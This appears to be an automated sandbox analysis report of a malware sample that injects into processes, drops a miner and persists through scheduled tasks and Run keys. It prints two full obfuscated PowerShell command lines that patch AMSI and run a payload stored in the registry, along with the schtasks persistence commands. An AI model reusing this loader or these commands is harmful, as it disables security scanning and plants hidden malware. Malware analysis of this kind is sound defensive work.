Token: SeDebugPrivilege	2436	powershell.EXE
Token: SeDebugPrivilege	3640	System32.exe
Token: SeShutdownPrivilege	2856	powercfg.exe
Token: SeCreatePagefilePrivilege	2856	powercfg.exe
Token: SeShutdownPrivilege	456	powercfg.exe
Token: SeCreatePagefilePrivilege	456	powercfg.exe
Token: SeShutdownPrivilege	4804	powercfg.exe
Token: SeCreatePagefilePrivilege	4804	powercfg.exe
Token: SeShutdownPrivilege	5092	powercfg.exe
Token: SeCreatePagefilePrivilege	5092	powercfg.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4020 wrote to memory of 4200	4020	df2be42b8a63be17ff85f4516e308406afcd131afc183bc54fda8dfdb8b90685.exe	93
PID 4200 wrote to memory of 3496	4200	903428e2.exe	96
PID 4200 wrote to memory of 4644	4200	903428e2.exe	97
PID 4644 wrote to memory of 1964	4644	dllhost.exe	98
PID 4644 wrote to memory of 2432	4644	dllhost.exe	99
PID 3496 wrote to memory of 2264	3496	jusched.exe	101
PID 3496 wrote to memory of 3772	3496	jusched.exe	103
PID 4644 wrote to memory of 560	4644	dllhost.exe	105
PID 4644 wrote to memory of 1668	4644	dllhost.exe	109
PID 4644 wrote to memory of 2712	4644	dllhost.exe	112
PID 4644 wrote to memory of 4152	4644	dllhost.exe	116
PID 4644 wrote to memory of 4560	4644	dllhost.exe	117
PID 4644 wrote to memory of 3888	4644	dllhost.exe	119
PID 4644 wrote to memory of 3472	4644	dllhost.exe	121
PID 4644 wrote to memory of 2396	4644	dllhost.exe	122
PID 4644 wrote to memory of 1064	4644	dllhost.exe	124
PID 4152 wrote to memory of 4856	4152	dllhost.exe	126
PID 560 wrote to memory of 2468	560	SearchFilterHost.exe	127
PID 2432 wrote to memory of 3920	2432	SearchProtocolHost.exe	128
PID 1964 wrote to memory of 3948	1964	dllhost.exe	129
PID 2468 wrote to memory of 2456	2468	jusched.exe	133
PID 2468 wrote to memory of 3004	2468	jusched.exe	134
PID 3004 wrote to memory of 2776	3004	dllhost.exe	135
PID 2456 wrote to memory of 3896	2456	jusched.exe	136
PID 2456 wrote to memory of 5116	2456	jusched.exe	138
PID 3004 wrote to memory of 3744	3004	dllhost.exe	141
PID 3004 wrote to memory of 2040	3004	dllhost.exe	142
PID 3004 wrote to memory of 2864	3004	dllhost.exe	144
PID 3004 wrote to memory of 1704	3004	dllhost.exe	145
PID 2864 wrote to memory of 3460	2864	jusched.exe	146
PID 2864 wrote to memory of 936	2864	jusched.exe	148
PID 3004 wrote to memory of 4840	3004	dllhost.exe	150
PID 2632 wrote to memory of 4552	2632	cmd.exe	159
PID 3472 wrote to memory of 2640	3472	miner.exe	172
PID 3472 wrote to memory of 2640	3472	miner.exe	172
PID 3472 wrote to memory of 2640	3472	miner.exe	172
PID 3472 wrote to memory of 2640	3472	miner.exe	172
PID 3472 wrote to memory of 2640	3472	miner.exe	172
PID 3020 wrote to memory of 3060	3020	cmd.exe	187
PID 1064 wrote to memory of 4712	1064	cmd.exe	197
PID 3640 wrote to memory of 380	3640	System32.exe	208
PID 3640 wrote to memory of 380	3640	System32.exe	208
PID 3640 wrote to memory of 380	3640	System32.exe	208
PID 3640 wrote to memory of 380	3640	System32.exe	208
PID 3640 wrote to memory of 380	3640	System32.exe	208
PID 3640 wrote to memory of 1668	3640	System32.exe	212
PID 3640 wrote to memory of 1668	3640	System32.exe	212
PID 3640 wrote to memory of 1668	3640	System32.exe	212
PID 3640 wrote to memory of 1668	3640	System32.exe	212
PID 3640 wrote to memory of 1668	3640	System32.exe	212
PID 3640 wrote to memory of 1668	3640	System32.exe	212
PID 3640 wrote to memory of 1668	3640	System32.exe	212
PID 3640 wrote to memory of 1668	3640	System32.exe	212
PID 3640 wrote to memory of 1480	3640	System32.exe	214
PID 3640 wrote to memory of 1480	3640	System32.exe	214
PID 3640 wrote to memory of 1480	3640	System32.exe	214
PID 2436 wrote to memory of 4252	2436	powershell.EXE	218
PID 2436 wrote to memory of 4252	2436	powershell.EXE	218
PID 2436 wrote to memory of 4252	2436	powershell.EXE	218
PID 2436 wrote to memory of 4252	2436	powershell.EXE	218
PID 2436 wrote to memory of 4252	2436	powershell.EXE	218
PID 4252 wrote to memory of 620	4252	dllhost.exe	5
PID 4252 wrote to memory of 672	4252	dllhost.exe	7
PID 4252 wrote to memory of 876	4252	dllhost.exe	11

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:620
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  PID:536
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{e4afaa4c-e961-4a66-a6a9-afbf08b4a90a}
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4252
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{241f44f4-393b-45d6-9977-d8336a9d00dc}
  2⤵
  PID:644

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:672

C:\Windows\System32\WUDFHost.exe
"C:\Windows\System32\WUDFHost.exe" -HostGUID:{193a1820-d9ac-4997-8c55-be817523f6aa} -IoEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-8354715a-e5d8-469c-bfe7-dcb80c22320b -SystemEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-7453f964-f927-4465-8f7c-d860f1494653 -IoCancelEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-4f833948-9259-4c00-bde2-fabdb09c2b0b -NonStateChangingEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-54e8c92a-3392-480f-9541-fb9d7c9fcef5 -LifetimeId:1bdefc58-d162-456b-a33b-fe1350ab4cc3 -DeviceGroupId:WudfDefaultDevicePool -HostArg:0
1⤵
PID:876

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:1004

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:692

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:1040

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
PID:1080
- C:\Windows\system32\taskhostw.exe
  taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
  2⤵
  PID:972
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:ghUAayvPZwIj{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$mETPbDzgNcEjzB,[Parameter(Position=1)][Type]$LdLqQUyWik)$NwtRLwFEAmR=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+'e'+''+'f'+''+[Char](108)+'e'+[Char](99)+''+'t'+''+[Char](101)+'dD'+'e'+''+'l'+''+'e'+''+[Char](103)+''+'a'+''+'t'+'e')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('I'+[Char](110)+''+[Char](77)+''+'e'+''+'m'+'o'+'r'+''+[Char](121)+''+[Char](77)+'o'+'d'+''+[Char](117)+''+[Char](108)+''+[Char](101)+'',$False).DefineType('MyD'+'e'+''+[Char](108)+'e'+'g'+'a'+[Char](116)+'e'+[Char](84)+''+'y'+''+[Char](112)+''+[Char](101)+'',''+[Char](67)+''+'l'+'a'+[Char](115)+'s,'+[Char](80)+''+[Char](117)+''+[Char](98)+''+'l'+'ic'+[Char](44)+'S'+[Char](101)+'al'+[Char](101)+''+'d'+''+[Char](44)+'A'+[Char](110)+''+'s'+''+[Char](105)+''+'C'+'la'+[Char](115)+'s'+[Char](44)+'A'+[Char](117)+''+[Char](116)+''+[Char](111)+''+'C'+''+'l'+'as'+'s'+'',[MulticastDelegate]);$NwtRLwFEAmR.DefineConstructor(''+[Char](82)+'T'+'S'+''+'p'+''+'e'+''+'c'+''+'i'+''+'a'+''+[Char](108)+'N'+'a'+''+[Char](109)+''+[Char](101)+','+[Char](72)+''+[Char](105)+''+[Char](100)+''+[Char](101)+''+[Char](66)+'y'+[Char](83)+''+'i'+''+'g'+''+[Char](44)+''+[Char](80)+'ub'+[Char](108)+''+'i'+'c',[Reflection.CallingConventions]::Standard,$mETPbDzgNcEjzB).SetImplementationFlags(''+[Char](82)+'u'+'n'+''+[Char](116)+'i'+[Char](109)+''+'e'+''+[Char](44)+''+'M'+'a'+'n'+'a'+[Char](103)+''+[Char](101)+''+[Char](100)+'');$NwtRLwFEAmR.DefineMethod(''+[Char](73)+''+[Char](110)+''+[Char](118)+'o'+[Char](107)+''+[Char](101)+'','P'+[Char](117)+''+[Char](98)+''+[Char](108)+''+'i'+''+[Char](99)+''+','+''+'H'+''+'i'+''+[Char](100)+''+[Char](101)+''+[Char](66)+''+'y'+''+'S'+''+'i'+''+'g'+''+[Char](44)+''+[Char](78)+''+[Char](101)+''+[Char](119)+''+[Char](83)+'l'+[Char](111)+'t,'+[Char](86)+'i'+[Char](114)+''+[Char](116)+''+[Char](117)+''+'a'+''+[Char](108)+'',$LdLqQUyWik,$mETPbDzgNcEjzB).SetImplementationFlags('Ru'+[Char](110)+''+'t'+'i'+[Char](109)+'e'+[Char](44)+''+'M'+'a'+[Char](110)+'a'+[Char](103)+''+[Char](101)+'d');Write-Output $NwtRLwFEAmR.CreateType();}$wbgVXihvDmUhz=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('S'+'y'+''+[Char](115)+''+'t'+'em'+'.'+''+[Char](100)+''+[Char](108)+''+[Char](108)+'')}).GetType(''+[Char](77)+''+[Char](105)+''+'c'+''+'r'+''+[Char](111)+''+[Char](115)+'o'+'f'+''+[Char](116)+''+[Char](46)+''+[Char](87)+''+[Char](105)+''+[Char](110)+''+[Char](51)+'2'+[Char](46)+''+[Char](85)+''+[Char](110)+''+'s'+'a'+'f'+''+'e'+''+'N'+''+[Char](97)+''+[Char](116)+''+[Char](105)+''+[Char](118)+''+'e'+''+'M'+''+[Char](101)+'th'+'o'+''+[Char](100)+''+[Char](115)+'');$MBRMmesldtHUft=$wbgVXihvDmUhz.GetMethod(''+[Char](71)+''+'e'+''+[Char](116)+''+[Char](80)+''+'r'+'oc'+'A'+'ddre'+[Char](115)+''+[Char](115)+'',[Reflection.BindingFlags](''+[Char](80)+'u'+[Char](98)+''+[Char](108)+'ic'+[Char](44)+'S'+'t'+'a'+[Char](116)+''+[Char](105)+'c'),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$vGUmqCRhnLWKxqJkSLQ=ghUAayvPZwIj @([String])([IntPtr]);$VIdUyjDvnIVzUjPhZwVMAY=ghUAayvPZwIj @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$oXIFPZQGaGo=$wbgVXihvDmUhz.GetMethod(''+'G'+''+'e'+''+[Char](116)+''+[Char](77)+''+'o'+''+'d'+'ul'+[Char](101)+''+[Char](72)+'a'+[Char](110)+''+'d'+''+'l'+''+[Char](101)+'').Invoke($Null,@([Object](''+'k'+''+[Char](101)+''+[Char](114)+'n'+[Char](101)+''+'l'+'3'+'2'+'.'+[Char](100)+''+[Char](108)+'l')));$XPHyspRIMiJHNj=$MBRMmesldtHUft.Invoke($Null,@([Object]$oXIFPZQGaGo,[Object](''+[Char](76)+''+[Char](111)+''+[Char](97)+''+[Char](100)+''+'L'+''+[Char](105)+''+[Char](98)+''+[Char](114)+''+[Char](97)+''+[Char](114)+''+[Char](121)+'A')));$zrksozQOPFfknBzMR=$MBRMmesldtHUft.Invoke($Null,@([Object]$oXIFPZQGaGo,[Object]('V'+[Char](105)+''+[Char](114)+'t'+[Char](117)+''+[Char](97)+''+[Char](108)+''+'P'+''+'r'+''+'o'+''+[Char](116)+''+[Char](101)+''+[Char](99)+''+[Char](116)+'')));$WPIgvUt=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($XPHyspRIMiJHNj,$vGUmqCRhnLWKxqJkSLQ).Invoke(''+'a'+''+[Char](109)+''+'s'+''+'i'+''+'.'+''+[Char](100)+'l'+[Char](108)+'');$ickAOgWMOwFozHfYb=$MBRMmesldtHUft.Invoke($Null,@([Object]$WPIgvUt,[Object](''+'A'+''+[Char](109)+''+[Char](115)+''+[Char](105)+''+[Char](83)+''+[Char](99)+'a'+[Char](110)+''+[Char](66)+''+[Char](117)+'f'+[Char](102)+'e'+[Char](114)+'')));$moIXwRVwHR=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($zrksozQOPFfknBzMR,$VIdUyjDvnIVzUjPhZwVMAY).Invoke($ickAOgWMOwFozHfYb,[uint32]8,4,[ref]$moIXwRVwHR);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$ickAOgWMOwFozHfYb,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($zrksozQOPFfknBzMR,$VIdUyjDvnIVzUjPhZwVMAY).Invoke($ickAOgWMOwFozHfYb,[uint32]8,0x20,[ref]$moIXwRVwHR);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+'O'+''+[Char](70)+'T'+[Char](87)+'A'+[Char](82)+'E').GetValue(''+[Char](100)+''+[Char](105)+''+'a'+''+[Char](108)+'e'+[Char](114)+''+[Char](115)+''+'t'+''+[Char](97)+''+[Char](103)+'e'+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Suspicious use of SetThreadContext
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2436
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:QPytjLeRQiuv{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$PQeWsZbDPJGjuD,[Parameter(Position=1)][Type]$TxnVlXCDyc)$pvyFynUnrWi=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+''+[Char](102)+''+'l'+''+[Char](101)+''+[Char](99)+''+[Char](116)+''+[Char](101)+''+'d'+''+[Char](68)+''+'e'+''+[Char](108)+''+[Char](101)+''+[Char](103)+''+[Char](97)+'t'+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+'nM'+[Char](101)+''+[Char](109)+''+[Char](111)+'r'+[Char](121)+''+'M'+''+[Char](111)+''+'d'+''+[Char](117)+''+[Char](108)+''+[Char](101)+'',$False).DefineType(''+[Char](77)+''+[Char](121)+'D'+[Char](101)+''+[Char](108)+''+[Char](101)+''+'g'+''+[Char](97)+''+[Char](116)+''+[Char](101)+''+[Char](84)+''+'y'+''+[Char](112)+''+'e'+'',''+[Char](67)+'l'+[Char](97)+''+[Char](115)+''+[Char](115)+''+','+''+'P'+'u'+'b'+''+'l'+'i'+[Char](99)+''+[Char](44)+''+[Char](83)+'ea'+[Char](108)+''+[Char](101)+''+[Char](100)+',A'+[Char](110)+'s'+'i'+''+[Char](67)+''+[Char](108)+''+'a'+'s'+'s'+''+[Char](44)+''+'A'+''+[Char](117)+''+'t'+''+[Char](111)+''+[Char](67)+''+[Char](108)+''+'a'+'s'+'s'+'',[MulticastDelegate]);$pvyFynUnrWi.DefineConstructor(''+[Char](82)+'TSp'+[Char](101)+''+[Char](99)+''+[Char](105)+''+[Char](97)+''+[Char](108)+''+'N'+'ame'+[Char](44)+''+'H'+'i'+[Char](100)+''+'e'+''+[Char](66)+''+[Char](121)+''+[Char](83)+''+'i'+''+[Char](103)+''+','+''+[Char](80)+''+'u'+'b'+'l'+''+[Char](105)+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$PQeWsZbDPJGjuD).SetImplementationFlags(''+'R'+''+'u'+''+[Char](110)+''+[Char](116)+''+[Char](105)+''+[Char](109)+''+[Char](101)+''+[Char](44)+'M'+[Char](97)+''+[Char](110)+''+'a'+''+'g'+'e'+[Char](100)+'');$pvyFynUnrWi.DefineMethod(''+[Char](73)+''+[Char](110)+'v'+'o'+''+[Char](107)+''+[Char](101)+'',''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+'i'+''+[Char](99)+''+[Char](44)+''+[Char](72)+''+'i'+'d'+[Char](101)+'B'+'y'+''+'S'+''+[Char](105)+''+[Char](103)+''+[Char](44)+'N'+[Char](101)+''+[Char](119)+''+'S'+'l'+[Char](111)+''+'t'+''+','+'V'+[Char](105)+''+'r'+''+'t'+''+[Char](117)+'al',$TxnVlXCDyc,$PQeWsZbDPJGjuD).SetImplementationFlags(''+[Char](82)+'u'+'n'+''+[Char](116)+''+[Char](105)+''+'m'+'e,'+'M'+''+'a'+''+[Char](110)+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+[Char](100)+'');Write-Output $pvyFynUnrWi.CreateType();}$iVTIEqNMeMPrb=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+''+[Char](115)+''+[Char](116)+''+[Char](101)+''+[Char](109)+''+[Char](46)+'d'+[Char](108)+''+[Char](108)+'')}).GetType(''+[Char](77)+''+'i'+''+[Char](99)+'roso'+[Char](102)+'t'+'.'+'W'+[Char](105)+''+'n'+''+[Char](51)+'2'+[Char](46)+''+[Char](85)+''+'n'+''+[Char](115)+'a'+'f'+'e'+[Char](78)+''+[Char](97)+'t'+[Char](105)+''+[Char](118)+''+[Char](101)+'M'+'e'+''+[Char](116)+''+[Char](104)+''+[Char](111)+''+[Char](100)+''+[Char](115)+'');$RfjEUlFNqAyExN=$iVTIEqNMeMPrb.GetMethod(''+[Char](71)+''+'e'+''+[Char](116)+'P'+'r'+''+'o'+'c'+[Char](65)+'d'+'d'+''+'r'+''+'e'+''+[Char](115)+''+'s'+'',[Reflection.BindingFlags](''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+'c'+[Char](44)+''+[Char](83)+''+[Char](116)+'a'+[Char](116)+''+'i'+''+'c'+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$jFWjGPDELxscMJEGufH=QPytjLeRQiuv @([String])([IntPtr]);$vaDbuLrNBxcBXGCxJjIaEN=QPytjLeRQiuv @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$blGRfMBAwnM=$iVTIEqNMeMPrb.GetMethod(''+'G'+''+[Char](101)+''+[Char](116)+''+[Char](77)+''+[Char](111)+''+[Char](100)+''+'u'+''+[Char](108)+'e'+'H'+''+[Char](97)+'n'+'d'+''+'l'+''+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+'r'+'n'+'e'+'l'+''+[Char](51)+''+[Char](50)+'.'+[Char](100)+''+'l'+''+'l'+'')));$nRWAIFIVAupqgY=$RfjEUlFNqAyExN.Invoke($Null,@([Object]$blGRfMBAwnM,[Object]('Loa'+'d'+'L'+[Char](105)+''+[Char](98)+''+[Char](114)+''+[Char](97)+''+[Char](114)+''+[Char](121)+''+[Char](65)+'')));$rMZwpiXUOVNQORChn=$RfjEUlFNqAyExN.Invoke($Null,@([Object]$blGRfMBAwnM,[Object](''+[Char](86)+''+[Char](105)+''+[Char](114)+''+[Char](116)+''+[Char](117)+'a'+[Char](108)+''+'P'+''+[Char](114)+''+[Char](111)+''+'t'+''+'e'+''+[Char](99)+''+[Char](116)+'')));$NmDotEU=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($nRWAIFIVAupqgY,$jFWjGPDELxscMJEGufH).Invoke(''+[Char](97)+'msi'+[Char](46)+''+[Char](100)+''+[Char](108)+''+'l'+'');$VnjyVTtnlJQKVFfrF=$RfjEUlFNqAyExN.Invoke($Null,@([Object]$NmDotEU,[Object](''+[Char](65)+''+[Char](109)+''+[Char](115)+''+[Char](105)+''+'S'+''+'c'+''+[Char](97)+''+'n'+'B'+[Char](117)+''+'f'+'f'+'e'+''+'r'+'')));$ZryCbXNAUU=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($rMZwpiXUOVNQORChn,$vaDbuLrNBxcBXGCxJjIaEN).Invoke($VnjyVTtnlJQKVFfrF,[uint32]8,4,[ref]$ZryCbXNAUU);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$VnjyVTtnlJQKVFfrF,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($rMZwpiXUOVNQORChn,$vaDbuLrNBxcBXGCxJjIaEN).Invoke($VnjyVTtnlJQKVFfrF,[uint32]8,0x20,[ref]$ZryCbXNAUU);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('S'+[Char](79)+''+'F'+''+[Char](84)+''+[Char](87)+''+[Char](65)+''+[Char](82)+''+[Char](69)+'').GetValue(''+'d'+''+[Char](105)+'a'+[Char](108)+''+[Char](101)+''+'r'+''+[Char](115)+''+[Char](116)+''+'a'+''+'g'+''+[Char](101)+''+'r'+'')).EntryPoint.Invoke($Null,$Null)"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Suspicious use of SetThreadContext
  - Modifies data under HKEY_USERS
  PID:2692
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2004

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1096

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1108

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1244

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DisplayEnhancementService
1⤵
PID:1264

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
PID:1304

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1384

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1436
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:3068

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1452

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1528

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1552

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1660

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1732

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1808

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1848

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1904

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1972

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
1⤵
PID:1984

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1992

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:2016

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:1352

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:1048

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2128

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2276

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2284

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
1⤵
PID:2424

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2496

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2504

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
PID:2516

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2524

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2540

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:2308

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
1⤵
PID:768

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:3156

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious behavior: GetForegroundWindowSpam
PID:3244
- C:\Users\Admin\AppData\Local\Temp\df2be42b8a63be17ff85f4516e308406afcd131afc183bc54fda8dfdb8b90685.exe
  "C:\Users\Admin\AppData\Local\Temp\df2be42b8a63be17ff85f4516e308406afcd131afc183bc54fda8dfdb8b90685.exe"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1288
- - C:\Users\Admin\AppData\Local\Temp\df2be42b8a63be17ff85f4516e308406afcd131afc183bc54fda8dfdb8b90685.exe
    C:\Users\Admin\AppData\Local\Temp\df2be42b8a63be17ff85f4516e308406afcd131afc183bc54fda8dfdb8b90685.exe
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4020
  - - C:\Users\Admin\AppData\Local\Microsoft\Windows\903428e2.exe
      C:\Users\Admin\AppData\Local\Microsoft\Windows\903428e2.exe
      4⤵
      Looks for VirtualBox Guest Additions in registry
      Looks for VMWare Tools registry key
      Executes dropped EXE
      Loads dropped DLL
      Suspicious use of SetThreadContext
      Checks processor information in registry
      Enumerates system info in registry
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:4200
    - - C:\Users\Admin\AppData\Roaming\jusched\jusched.exe
        
        "C:\Users\Admin\AppData\Roaming\jusched\jusched.exe"
        5⤵
        Drops startup file
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:3496
      - C:\Windows\system32\schtasks.exe
        
        "schtasks.exe" /Create /TN "jusched" /TR "C:\Users\Admin\AppData\Roaming\jusched\jusched.exe" /SC ONLOGON /RL HIGHEST /IT /F
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:2264
      - C:\Windows\system32\schtasks.exe
        
        "schtasks.exe" /Create /TN "jusched" /TR "C:\Users\Admin\AppData\Roaming\jusched\jusched.exe" /SC ONLOGON /IT /F
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:3772
    - - C:\Windows\system32\dllhost.exe
        
        "C:\Windows\system32\dllhost.exe"
        5⤵
        Drops file in Drivers directory
        Executes dropped EXE
        Impair Defenses: Safe Mode Boot
        Loads dropped DLL
        Drops file in System32 directory
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetThreadContext
        Checks processor information in registry
        Modifies data under HKEY_USERS
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:4644
      - C:\Windows\system32\dllhost.exe
        
        "C:\Windows\system32\dllhost.exe"
        6⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:1964
        
        C:\Users\Admin\AppData\Roaming\jusched\jusched.exe
        
        "C:\Users\Admin\AppData\Roaming\jusched\jusched.exe"
        7⤵
        Executes dropped EXE
        
        PID:3948
      - C:\Windows\system32\SearchProtocolHost.exe
        
        "C:\Windows\system32\SearchProtocolHost.exe"
        6⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:2432
        
        C:\Users\Admin\AppData\Roaming\jusched\jusched.exe
        
